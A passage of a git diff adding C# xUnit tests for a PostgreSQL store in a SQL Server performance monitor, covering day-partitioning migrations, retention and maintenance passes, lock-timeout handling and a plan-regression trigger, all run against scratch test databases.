+           retention pass row-purges it by name: that is where the dead index entries are. */
+        await ExecuteAsync(connection, $"ALTER TABLE {table.Legacy} SET (autovacuum_enabled = false)", ct);
+
+        /* #5608: the rows land in the one legacy table (MINVALUE..MAXVALUE), so no chunk or day boundary is in play; the clock goes through LiveClock so a run can be proved at any hour. */
+        var utcNow = LiveClock.Now();
+        var expiredStart = utcNow.AddDays(-(table.HorizonDays + 5));
+        var keptStart = utcNow.AddDays(-1);
+        foreach (var serverId in ServerIds)
+        {
+            var idOffset = serverId * 1_000_000L;
+            await SeedAsync(connection, table, serverId, expiredStart, ExpiredPerServer, idOffset, ct);
+            await SeedAsync(connection, table, serverId, keptStart, KeptPerServer, idOffset + ExpiredPerServer, ct);
+        }
+
+        await ExecuteAsync(connection, $"VACUUM (ANALYZE) {table.Legacy}", ct);
+        return connection;
+    }
+
+    private static async Task SeedAsync(
+        NpgsqlConnection connection, IntervalTable table, int serverId, DateTime start, int count, long idOffset, CancellationToken ct)
+    {
+        var sql = table.Kind == IntervalFloorTable.Wide
+            ? @"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time, module_name, query_text, query_hash, execution_count, replica_role, runtime_stats_interval_id)
+SELECT $1 + (g - 1) * INTERVAL '1 second' + INTERVAL '1 minute', $5, 'db', g + $4, 1, 'exec',
+       $1 + (g - 1) * INTERVAL '1 second', $1 + (g - 1) * INTERVAL '1 second' + INTERVAL '1 minute',
+       'mod', 'select 1', 'qh', 1, NULL, g + $4
+FROM generate_series(1, $2) AS g;"
+            : @"
+INSERT INTO collect.query_store_interval_latest
+(server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time, collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us, last_execution_time, is_forced_plan, force_failure_count, query_text)
+SELECT $5, 'db', g + $4, 1, NULL, g + $4,
+       $1 + (g - 1) * INTERVAL '1 second', $1 + (g - 1) * INTERVAL '1 second' + INTERVAL '1 minute',
+       'ph', 'qh', 1, 1, 1, $1 + (g - 1) * INTERVAL '1 second' + INTERVAL '1 minute',
+       false, 0, 'select 1'
+FROM generate_series(1, $2) AS g;";
+
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = start });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = count });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = 0 });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = idOffset });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>
+    /// EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) of the shipped floor read for one server: the plan's top node type,
+    /// its "Heap Fetches" when it is an index-only scan (the only node that reports that figure), and the buffers
+    /// the whole plan touched. A walk over dead entries shows up in both numbers; the buffers are what a plain index
+    /// scan, which has no "Heap Fetches", still reports.
+    /// </summary>
+    private static async Task<FloorRead> FirstReadAsync(
+        NpgsqlConnection connection, IntervalTable table, int serverId, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) " + table.FloorSql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        var json = (string)(await command.ExecuteScalarAsync(ct))!;
+
+        using var document = JsonDocument.Parse(json);
+        var plan = document.RootElement[0].GetProperty("Plan");
+        var fetches = new List<long>();
+        var nodes = new List<string>();
+        CollectNodes(plan, fetches, nodes);
+        var buffers = plan.GetProperty("Shared Hit Blocks").GetInt64() + plan.GetProperty("Shared Read Blocks").GetInt64();
+        return new FloorRead(fetches.Count == 0 ? null : fetches.Sum(), buffers, string.Join(" > ", nodes));
+    }
+
+    private sealed record FloorRead(long? HeapFetches, long Buffers, string Nodes)
+    {
+        public override string ToString() =>
+            $"{Nodes}: {(HeapFetches is null ? "no heap-fetch figure" : HeapFetches + " heap fetches")}, {Buffers} buffers";
+    }
+
+    private static void CollectNodes(JsonElement node, List<long> fetches, List<string> nodes)
+    {
+        nodes.Add(node.GetProperty("Node Type").GetString()!);
+        if (node.TryGetProperty("Heap Fetches", out var heap) && heap.ValueKind == JsonValueKind.Number)
+        {
+            fetches.Add(heap.GetInt64());
+        }
+
+        if (node.TryGetProperty("Plans", out var children))
+        {
+            foreach (var child in children.EnumerateArray())
+            {
+                CollectNodes(child, fetches, nodes);
+            }
+        }
+    }
+    private static async Task<string> HorizonHoldersAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            "SELECT current_database() || ' :: ' || coalesce(string_agg(format('%s/%s/%s/%s/%s', datname, state, backend_xmin, now() - xact_start, left(query, 60)), ' ## '), 'none') FROM pg_stat_activity WHERE backend_xmin IS NOT NULL AND pid <> pg_backend_pid()",
+            connection);
+        return (string)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task ExecuteAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> CountAsync(NpgsqlConnection connection, string table, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand($"SELECT COUNT(*) FROM {table}", connection);
+        return (long)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    private static string ReadSource(
+        string first, string second, string file,
+        [System.Runtime.CompilerServices.CallerFilePath] string thisFile = "")
+    {
+        var relative = System.IO.Path.Combine(first, second, file);
+        for (var dir = new System.IO.DirectoryInfo(System.IO.Path.GetDirectoryName(thisFile)!);
+             dir is not null; dir = dir.Parent)
+        {
+            var candidate = System.IO.Path.Combine(dir.FullName, relative);
+            if (System.IO.File.Exists(candidate))
+            {
+                return System.IO.File.ReadAllText(candidate);
+            }
+        }
+
+        throw new System.IO.FileNotFoundException(file + " not found above " + thisFile);
+    }
+
+    /// <summary>
+    /// Forwards to a capturing logger, and takes an ACCESS EXCLUSIVE lock on the table inside an open transaction the
+    /// first time the sweep logs its summary line, which is after every purge and before the warm-up.
+    /// </summary>
+    private sealed class LockOnSummaryLogger(ILogger inner, NpgsqlConnection locker, string table) : ILogger
+    {
+        public bool Locked { get; private set; }
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => inner.BeginScope(state);
+
+        public bool IsEnabled(LogLevel logLevel) => inner.IsEnabled(logLevel);
+
+        public void Log<TState>(
+            LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+        {
+            inner.Log(logLevel, eventId, state, exception, formatter);
+            if (!Locked && formatter(state, exception).Contains("table(s) purged", StringComparison.Ordinal))
+            {
+                using var begin = new NpgsqlCommand($"BEGIN; LOCK TABLE {table} IN ACCESS EXCLUSIVE MODE", locker);
+                begin.ExecuteNonQuery();
+                Locked = true;
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalLatestWriterTests.cs b/Darling/Darling.Tests/QueryStoreIntervalLatestWriterTests.cs
index ce9178631e..89fd252067 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalLatestWriterTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalLatestWriterTests.cs
@@ -356,6 +356,156 @@ await ExecAsync(connection,
     /// batch's own <c>collection_time</c>, so it locks one chunk, never all of them, and can never queue behind raw's
     /// <c>drop_chunks</c>. The two wider reads run before the transaction and bind their bounds bare (#2387).
     /// </summary>
+    /* ---- #5448: the plan-regression late-row trigger, through the real write path ------------------------- */
+
+    private const int OtherServerId = -3953002;
+
+    private static ServerRuntime OtherServer() => new()
+    {
+        Config = new MonitoredServer { Name = "qsil-3953-other", Host = "qsil-3953-other-host" },
+        ConnectionString = "Server=qsil-3953-other-host",
+        Target = new CollectorTargetInfo { SqlMajorVersion = 16 },
+        StorageName = "qsil-3953-other-host",
+        ServerId = OtherServerId,
+        EngineEdition = 3,
+    };
+
+    private static CollectorContext OtherContext() => new()
+    {
+        ServerId = OtherServerId,
+        ServerName = "qsil-3953-other-host",
+        CollectionTime = DateTime.UtcNow,
+        Deltas = new CollectorDeltaCalculator(),
+    };
+
+    private static async Task WriteOtherAsync(
+        DarlingCollectorRunner runner, DateTime collectionTime, CollectorContext context, CancellationToken ct,
+        params QueryStoreCollector.Row[] rows)
+    {
+        foreach (var batch in rows.GroupBy(r => r.DatabaseName))
+        {
+            await runner.WriteBackfillBatchAsync(QueryStoreCollector.Instance, batch.ToList(), OtherServer(), collectionTime, context, ct);
+        }
+    }
+
+    /// <summary>The built table's marks for a server: day to late_seq.</summary>
+    private static async Task<Dictionary<DateTime, long>> BuiltDaysAsync(NpgsqlConnection connection, int serverId, CancellationToken ct)
+    {
+        var result = new Dictionary<DateTime, long>();
+        await using var command = new NpgsqlCommand(
+            "SELECT day, late_seq FROM collect.plan_regression_daily_built WHERE server_id = " + serverId.ToString(System.Globalization.CultureInfo.InvariantCulture), connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            result[reader.GetDateTime(0)] = reader.GetInt64(1);
+        }
+
+        return result;
+    }
+
+    [Fact]
+    public async Task APlanRegressionLateBatch_ThroughTheRealWritePath_MarksItsDays_AndSteadyBatchesLeaveTheBuiltTableEmpty()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 writer test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+        var context = NewContext();
+
+        var now = TruncateToSeconds(DateTime.UtcNow);
+        var late = now.Date.AddDays(-5).AddHours(2);
+        var dayBefore = now.Date.AddDays(-5);
+
+        /* Steady, then a refresh of the same intervals: the trigger's WHEN is false, so nothing is marked. */
+        await WriteAsync(runner, now.AddSeconds(-60), context, ct,
+            Row("qsA", 1, 11, 100, now.AddHours(-1), now.AddMinutes(-2), 10, 500),
+            Row("qsA", 2, 21, 100, now.AddHours(-3), now.AddMinutes(-2), 4, 700));
+        await WriteAsync(runner, now.AddSeconds(-30), context, ct,
+            Row("qsA", 1, 11, 100, now.AddHours(-1), now.AddMinutes(-1), 15, 510));
+        Assert.Empty(await BuiltDaysAsync(connection, ServerId, ct));
+
+        /* A late batch (COPY into raw, then the apply's upsert, one transaction): two rows, one per interval, mark
+           day(first) and the next day, once per (server, day) per transaction, not once per row (#5448 lane 6). */
+        await WriteAsync(runner, now, context, ct,
+            Row("qsA", 7, 71, 90, late, late.AddMinutes(30), 3, 900),
+            Row("qsA", 8, 81, 91, late.AddMinutes(5), late.AddMinutes(35), 2, 800));
+        Assert.Equal(0, context.QueryStoreIntervalMisses);
+        var built = await BuiltDaysAsync(connection, ServerId, ct);
+        Assert.Equal(2, built.Count);
+        Assert.Equal(1L, built[dayBefore]);
+        Assert.Equal(1L, built[dayBefore.AddDays(1)]);
+
+        /* A newer snapshot of one interval wins its ON CONFLICT, in a transaction of its own, and marks once more. */
+        await WriteAsync(runner, now.AddSeconds(5), context, ct, Row("qsA", 7, 71, 90, late, late.AddMinutes(40), 6, 900));
+        Assert.Equal(2L, (await BuiltDaysAsync(connection, ServerId, ct))[dayBefore]);
+        await AssertTableEqualsRawDedupAsync(connection, ct);
+    }
+
+    /// <summary>
+    /// The fault arm (#5448): a trigger failure inside the apply's savepoint takes the existing #3953 path. Raw commits,
+    /// the late batch is recorded as pending for ITS server only, and a steady batch of another server (whose rows never
+    /// run the trigger) applies normally. Restoring the built table lets the next apply replay the pending batch, which
+    /// marks the day then.
+    /// </summary>
+    [Fact]
+    public async Task ATriggerFault_RecordsTheLateBatchPending_ForThatServerOnly_AndTheReplayMarksTheDay()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 writer test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+        var context = NewContext();
+        var otherContext = OtherContext();
+
+        var now = TruncateToSeconds(DateTime.UtcNow);
+        var late = now.Date.AddDays(-4).AddHours(5);
+
+        await WriteAsync(runner, now.AddSeconds(-60), context, ct, Row("qsA", 1, 11, 100, now.AddHours(-1), now.AddMinutes(-2), 10, 500));
+        await WriteOtherAsync(runner, now.AddSeconds(-60), otherContext, ct, Row("qsB", 1, 11, 100, now.AddHours(-1), now.AddMinutes(-2), 10, 500));
+
+        await ExecAsync(connection, "DROP TABLE collect.plan_regression_daily_built", ct);
+
+        /* The late batch of the first server faults (42P01 from the trigger function); a steady batch of the other
+           server, written after it, does not. */
+        await WriteAsync(runner, now, context, ct, Row("qsA", 7, 71, 90, late, late.AddMinutes(30), 3, 900));
+        await WriteOtherAsync(runner, now.AddSeconds(1), otherContext, ct, Row("qsB", 1, 11, 100, now.AddHours(-1), now.AddMinutes(-1), 12, 520));
+
+        Assert.Equal(1, context.QueryStoreIntervalMisses);
+        Assert.Equal(0, otherContext.QueryStoreIntervalMisses);
+        Assert.Equal(1, await ScalarLongAsync(connection,
+            "SELECT COUNT(*) FROM collect.query_store_interval_latest_pending WHERE server_id = @server_id AND failure LIKE '42P01%'", ct));
+        Assert.Equal(0, await ScalarLongAsync(connection,
+            "SELECT COUNT(*) FROM collect.query_store_interval_latest_pending WHERE server_id = " + OtherServerId.ToString(System.Globalization.CultureInfo.InvariantCulture), ct));
+
+        /* Raw kept the late row; the table did not get it (the savepoint rolled the upsert back with the trigger). The
+           other server's refresh applied. */
+        Assert.Equal(2, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.query_store_stats WHERE server_id = @server_id", ct));
+        Assert.Equal(1, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.query_store_interval_latest WHERE server_id = @server_id", ct));
+        Assert.Equal(12, await ScalarLongAsync(connection,
+            "SELECT execution_count FROM collect.query_store_interval_latest WHERE server_id = " + OtherServerId.ToString(System.Globalization.CultureInfo.InvariantCulture), ct));
+
+        /* Recreate the table the rung's way (idempotent DDL, the V168 rung), then a later steady batch drains the pending row, and the
+           replayed late row marks its day. */
+        await ExecAsync(connection, PgMigrations.Scripts.Single(m => m.Version == 168).Sql, ct);
+        await WriteAsync(runner, now.AddSeconds(10), context, ct, Row("qsA", 1, 11, 100, now.AddHours(-1), now.AddMinutes(-1), 14, 510));
+
+        Assert.Equal(0, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.query_store_interval_latest_pending", ct));
+        Assert.Equal(1, context.QueryStoreIntervalMisses);
+        var built = await BuiltDaysAsync(connection, ServerId, ct);
+        Assert.Equal(1L, built[late.Date]);
+        Assert.Equal(1L, built[late.Date.AddDays(1)]);
+        Assert.Empty(await BuiltDaysAsync(connection, OtherServerId, ct));
+        Assert.Equal(2, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.query_store_interval_latest WHERE server_id = @server_id", ct));
+    }
+
     [Fact]
     public void InsideTheBatchTransaction_RawIsReadOnlyByTheBatchsOwnCollectionTime()
     {
diff --git a/Darling/Darling.Tests/QueryStoreIntervalMaintenancePassLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalMaintenancePassLiveTests.cs
new file mode 100644
index 0000000000..fea9232289
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalMaintenancePassLiveTests.cs
@@ -0,0 +1,143 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.QueryStoreIntervalRetentionTestKit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The hourly partition-maintenance pass (#5571), <see cref="QueryStoreIntervalPartitions.RunMaintenancePassAsync(NpgsqlConnection, DateTime, ILogger, System.Threading.CancellationToken)"/>,
+/// on a real store: one table's failure never stops the other table or the pass, a lock timeout is "retry next hour" and
+/// not a failure, and a table that is not promoted yet is left alone. The failing table here is a real one that
+/// PostgreSQL refuses: a partitioned parent whose partition key is an integer, so the step's <c>FOR VALUES FROM ('2026-...')</c>
+/// is an invalid-input error.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it, so it cannot race
+   live collection. */
+public sealed class QueryStoreIntervalMaintenancePassLiveTests
+{
+    private static readonly QueryStoreIntervalPartitions.IntervalTable Broken = new("zz_broken_interval", 9);
+
+    /* A parent that reads as promoted (partitioned, no unbounded legacy) and fails the moment create-ahead names a day. */
+    private static Task CreateBrokenParentAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct) =>
+        ExecAsync(connection, "CREATE TABLE collect.zz_broken_interval (id integer NOT NULL, first_execution_time timestamp NOT NULL) PARTITION BY RANGE (id)", ct);
+
+    private static IReadOnlyList<QueryStoreIntervalPartitions.IntervalTable> Order(params QueryStoreIntervalPartitions.IntervalTable[] tables) => tables;
+
+    [Fact]
+    public async Task ABrokenTableFirst_DoesNotStopTheNext_AndIsCounted()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await CreateBrokenParentAsync(connection, ct);
+        await PromoteAsync(connection, Wide, Now.AddDays(-5), logger, ct);
+        var later = Now.AddDays(2);
+
+        var pass = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, Order(Broken, Wide), later, logger, ct);
+
+        Assert.Equal(1, pass.Failed);
+        Assert.True(pass.Changed > 0, "the wide table still got its days ahead");
+        Assert.True(await ExistsAsync(connection, Wide.DayPartition(QueryStoreIntervalPartitions.DayStart(later).AddDays(QueryStoreIntervalPartitions.DaysAhead)), ct));
+        Assert.True(logger.Lines.Any(l => l.Level == LogLevel.Warning && l.Message.Contains(Broken.Parent, StringComparison.Ordinal) && l.Message.Contains("maintenance failed", StringComparison.Ordinal)), logger.Dump());
+    }
+
+    [Fact]
+    public async Task ABrokenTableLast_DoesNotUndoTheOnesBeforeIt()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await CreateBrokenParentAsync(connection, ct);
+        await PromoteAsync(connection, Latest, Now.AddDays(-5), logger, ct);
+        var later = Now.AddDays(2);
+
+        var pass = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, Order(Latest, Broken), later, logger, ct);
+
+        Assert.Equal(1, pass.Failed);
+        Assert.True(pass.Changed > 0);
+        Assert.True(await ExistsAsync(connection, Latest.DayPartition(QueryStoreIntervalPartitions.DayStart(later).AddDays(QueryStoreIntervalPartitions.DaysAhead)), ct));
+    }
+
+    [Fact]
+    public async Task ATableThatIsNotPromotedYet_IsArmedButNotPartitionedAndIsNotAFailure()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        /* Wide is promoted, latest is not (the migrated shape: the legacy table is still the unbounded partition). */
+        await PromoteAsync(connection, Wide, Now.AddDays(-5), logger, ct);
+        var latestBefore = (await PartitionNamesAsync(connection, Latest, ct)).OrderBy(n => n, StringComparer.Ordinal).ToList();
+
+        var pass = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, Now.AddDays(2), logger, ct);
+
+        Assert.Equal(0, pass.Failed);
+        Assert.True(pass.Changed > 0);
+        Assert.Equal(latestBefore, (await PartitionNamesAsync(connection, Latest, ct)).OrderBy(n => n, StringComparer.Ordinal).ToList());
+        /* #5571 review H1: the hourly pass arms the legacy CHECK of a table that is not promoted (it does no VALIDATE). */
+        var latestState = await QueryStoreIntervalPartitions.ReadStateAsync(connection, Latest, ct);
+        Assert.True(latestState.CheckPresent);
+        Assert.False(latestState.CheckValid);
+        Assert.False(logger.HasAtLeast(LogLevel.Warning), logger.Dump());
+    }
+
+    [Fact]
+    public async Task ALockTimeoutOnOneTable_IsNotAFailure_AndTheOtherTableStillRuns_ThenTheNextPassFinishes()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        /* Wide: legacy bounded at S = 9-28 and expired at Now, so a drop is due. Latest: promoted recently, with only create-ahead work. */
+        await PromoteAsync(connection, Wide, Now.AddDays(-12), logger, ct);
+        await PromoteAsync(connection, Latest, Now.AddDays(-5), logger, ct);
+        var newestLatestDay = QueryStoreIntervalPartitions.DayStart(Now).AddDays(QueryStoreIntervalPartitions.DaysAhead);
+
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {Wide.Parent} IN ACCESS SHARE MODE", ct);
+            var blocked = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, Now, logger, ct);
+
+            Assert.Equal(0, blocked.Failed);                                   /* a lock timeout is RetryLater, not a failure */
+            Assert.True(await ExistsAsync(connection, Wide.Legacy, ct));       /* the drop gave up */
+            Assert.True(await ExistsAsync(connection, Latest.DayPartition(newestLatestDay), ct), "the other table still created its days");
+            await hold.RollbackAsync(ct);
+        }
+
+        var next = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, Now, logger, ct);
+        Assert.Equal(0, next.Failed);
+        Assert.True(next.Changed > 0);
+        Assert.False(await ExistsAsync(connection, Wide.Legacy, ct), "the next pass drops the expired legacy table");
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalPartitionRungTests.cs b/Darling/Darling.Tests/QueryStoreIntervalPartitionRungTests.cs
new file mode 100644
index 0000000000..26844e184f
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalPartitionRungTests.cs
@@ -0,0 +1,751 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: every fact here mints its own scratch database through ScratchPostgres (the roles fact also a
+   role with a per-run name, dropped in its finally) and never touches another test's rows, so the class is
+   deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// #5571: V171 and V172 turn <c>collect.query_store_interval_wide</c> and <c>collect.query_store_interval_latest</c> into
+/// tables partitioned by day, with the table that holds every row attached whole as <c>X_legacy</c>. The rung must be
+/// catalog-only (no data copy, no scan, no index build), idempotent, and must leave every writer, reader and trigger
+/// working through the new parent. Each fact starts from a store migrated to the top, rewound to the V170 shape by
+/// <see cref="RewindToV170Async"/> (detach the legacy table, drop the parent, rename the table and its indexes back, delete the
+/// two version rows), seeded across five days, and then migrated again, so the rung under test is the shipped one.
+/// </summary>
+public sealed class QueryStoreIntervalPartitionRungTests
+{
+    private const string Wide = "query_store_interval_wide";
+
+    private const string Latest = "query_store_interval_latest";
+
+    internal const int WideRungVersion = 171;
+
+    internal const int LatestRungVersion = 172;
+
+    private const int RowsPerTable = 100;
+
+    private const int ServerId = -5571900;
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static PgMigrations.Migration WideRung => PgMigrations.Scripts.Single(m => m.Version == WideRungVersion);
+
+    private static PgMigrations.Migration LatestRung => PgMigrations.Scripts.Single(m => m.Version == LatestRungVersion);
+
+    /// <summary>V168's trigger, as the rewind puts it back on the plain latest table. The rung's copy is checked against this text.</summary>
+    private const string LatestTriggerSql = @"
+CREATE TRIGGER trg_plan_regression_daily_late
+    AFTER INSERT OR UPDATE ON collect.query_store_interval_latest
+    FOR EACH ROW
+    WHEN (NEW.first_execution_time < date_trunc('day', now() AT TIME ZONE 'UTC') - interval '1 day'
+          AND NEW.first_execution_time >= date_trunc('day', now() AT TIME ZONE 'UTC') - interval '17 days')
+    EXECUTE FUNCTION collect.plan_regression_daily_mark_late();";
+
+    [Fact]
+    public void TheRungsAreRegistered_DenseAndTheTop_AndShareOneBuilder()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+        Assert.Equal(new[] { 170, 171, 172, 173 }, versions.OrderBy(v => v).TakeLast(4).ToArray());
+        Assert.Equal("query-store-interval-wide-partitioned", WideRung.Name);
+        Assert.Equal("query-store-interval-latest-partitioned", LatestRung.Name);
+        /* No longer the top rung: the Query Store compose rollup rung (V173, #5582) landed above it. */
+        Assert.True(LatestRungVersion < StorageVersion.SchemaVersion);
+        Assert.Equal(LatestRungVersion, PgMigrations.Scripts[^2].Version);
+        Assert.Equal(WideRungVersion, PgMigrations.Scripts[^3].Version);
+
+        /* Every statement is catalog-only, in the shipped text: the indexes are ON ONLY, nothing copies rows, and the
+           parent has no WITH clause (PostgreSQL refuses storage parameters on a partitioned table). */
+        foreach (var rung in new[] { WideRung, LatestRung })
+        {
+            var sql = rung.Sql;
+            Assert.Contains("FOR VALUES FROM (MINVALUE) TO (MAXVALUE)", sql, StringComparison.Ordinal);
+            Assert.Contains("SET LOCAL lock_timeout = '280s'", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("INSERT INTO", sql, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain("CONCURRENTLY", sql, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain("fillfactor", sql, StringComparison.OrdinalIgnoreCase);
+            foreach (var line in sql.Split('\n').Select(l => l.Trim()).Where(l => l.StartsWith("CREATE ", StringComparison.Ordinal) && l.Contains(" INDEX ", StringComparison.Ordinal)))
+            {
+                Assert.Contains(" ON ONLY ", line, StringComparison.Ordinal);
+            }
+        }
+
+        Assert.DoesNotContain("trg_plan_regression_daily_late", WideRung.Sql, StringComparison.Ordinal);
+        Assert.Contains("DROP TRIGGER IF EXISTS trg_plan_regression_daily_late ON collect.query_store_interval_latest_legacy", LatestRung.Sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time_brin", WideRung.Sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("brin", LatestRung.Sql, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public async Task TheRung_OnAStoreSeededAcrossFiveDays_PartitionsBothTablesAndKeepsEveryRow()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await ArrangeV170StoreAsync(scratch, ct);
+            var wideBefore = await CountAsync(connection, "collect." + Wide, ct);
+            var latestBefore = await CountAsync(connection, "collect." + Latest, ct);
+            Assert.Equal(RowsPerTable, wideBefore);
+            Assert.Equal(RowsPerTable, latestBefore);
+            Assert.Equal("r", await TextAsync(connection, "SELECT relkind::text FROM pg_class WHERE oid = 'collect." + Wide + "'::regclass", ct));
+
+            Assert.Equal(3, await PgMigrations.MigrateAsync(connection, ct));
+
+            foreach (var table in new[] { Wide, Latest })
+            {
+                Assert.Equal("p", await TextAsync(connection, "SELECT relkind::text FROM pg_class WHERE oid = 'collect." + table + "'::regclass", ct));
+                Assert.Equal("r", await TextAsync(connection, "SELECT relkind::text FROM pg_class WHERE oid = 'collect." + table + "_legacy'::regclass", ct));
+                Assert.Equal("RANGE (first_execution_time)", await TextAsync(connection, "SELECT pg_get_partkeydef('collect." + table + "'::regclass)", ct));
+
+                /* The legacy table is the parent's only partition and takes every possible key. */
